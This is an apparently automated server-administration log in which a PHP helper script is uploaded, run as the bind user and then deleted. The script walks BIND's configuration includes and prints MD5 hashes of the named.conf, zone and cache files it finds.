MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 11:14:35: Establishing a connection
2026-04-22 11:14:35: 

PUT: /tmp/pkp707751

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 11:14:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp707751; rm /tmp/pkp707751'

2026-04-22 11:14:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 11:14:37: Establishing a connection
2026-04-22 11:14:37: 

PUT: /tmp/pkp606487

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 11:14:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp606487; rm /tmp/pkp606487'

2026-04-22 11:14:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
